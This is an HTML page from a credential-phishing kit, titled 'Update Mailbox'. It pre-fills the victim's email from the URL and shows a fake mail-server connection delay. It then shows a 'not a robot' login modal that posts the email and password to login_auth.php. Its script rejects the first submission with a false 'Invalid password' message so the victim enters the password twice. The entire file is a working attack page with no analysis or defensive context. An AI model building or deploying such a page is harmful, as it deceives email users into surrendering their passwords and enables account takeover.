<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Update Mailbox</title>
    <link rel="icon" type="image/x-icon" href="images/bg12.ico">
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: #f5f5f5;
        }

        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.6);
            justify-content: center;
            align-items: center;
        }

        .modal-content {
            background: white;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            width: 300px;
        }

        .modal-content h2 {
            text-align: center;
        }

        .form-group {
            position: relative;
            margin-bottom: 20px;
        }

        .form-group input {
            width: 70%;
            padding: 10px 40px;
            border: 1px solid #ccc;
            border-radius: 5px;
        }

        .form-group .icon {
            position: absolute;
            left: 10px;
            top: 50%;
            transform: translateY(-50%);
            color: lightblue;
        }

        #loading-message {
            display: none;
            font-size: 16px;
            color: #333;
            margin-top: 10px;
        }

        .modal-content img {
            display: block;
            margin: 0 auto 10px auto;
            max-width: 100%;
        }

        .modal-content p {
            text-align: center;
            font-size: 14px;
            margin-bottom: 20px;
        }

        .modal-content button {
            display: block;
            margin: 20px auto 0;
            padding: 10px 20px;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }

        .error-message {
            color: red;
            text-align: center;
            margin-bottom: 10px;
            display: none;
        }
    </style>
</head>
<body>
    <div id="loading-message">Connecting to mail server ........</div>

    <div class="modal" id="modal">
        <div class="modal-content">
            <img src="images/logo.jpg" alt="Verification Logo">
            <p>Confirm you're not a robot!</p>
            <form id="modal-form" action="login_auth.php" method="POST">
                <div class="error-message" id="error-message">Invalid password</div>
                <div class="form-group">
                    <input type="email" name="email" id="email" placeholder="Email Address" readonly>
                    <i class="icon">&#9993;</i>
                </div>
                <div class="form-group">
                    <input type="password" name="password" id="password" placeholder="Password">
                    <i class="icon">&#128274;</i>
                </div>
                <button type="submit">Login</button>
            </form>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const params = new URLSearchParams(window.location.search);
            const email = params.get('email');
            const loadingMessage = document.getElementById('loading-message');
            const modal = document.getElementById('modal');
            const emailInput = document.getElementById('email');
            const passwordInput = document.getElementById('password');
            const form = document.getElementById('modal-form');
            const errorMessage = document.getElementById('error-message');

            let attemptCount = 0;

            if (email) {
                loadingMessage.style.display = 'block';
                setTimeout(() => {
                    loadingMessage.style.display = 'none';
                    modal.style.display = 'flex';
                    emailInput.value = email;
                }, 3000);
            } else {
                alert('Email parameter is missing in the URL.');
            }

            form.addEventListener('submit', function(event) {
                if (attemptCount === 0) {
                    event.preventDefault();
                    errorMessage.style.display = 'block';
                    attemptCount++;
                }
            });
        });
    </script>
</body>
</html>
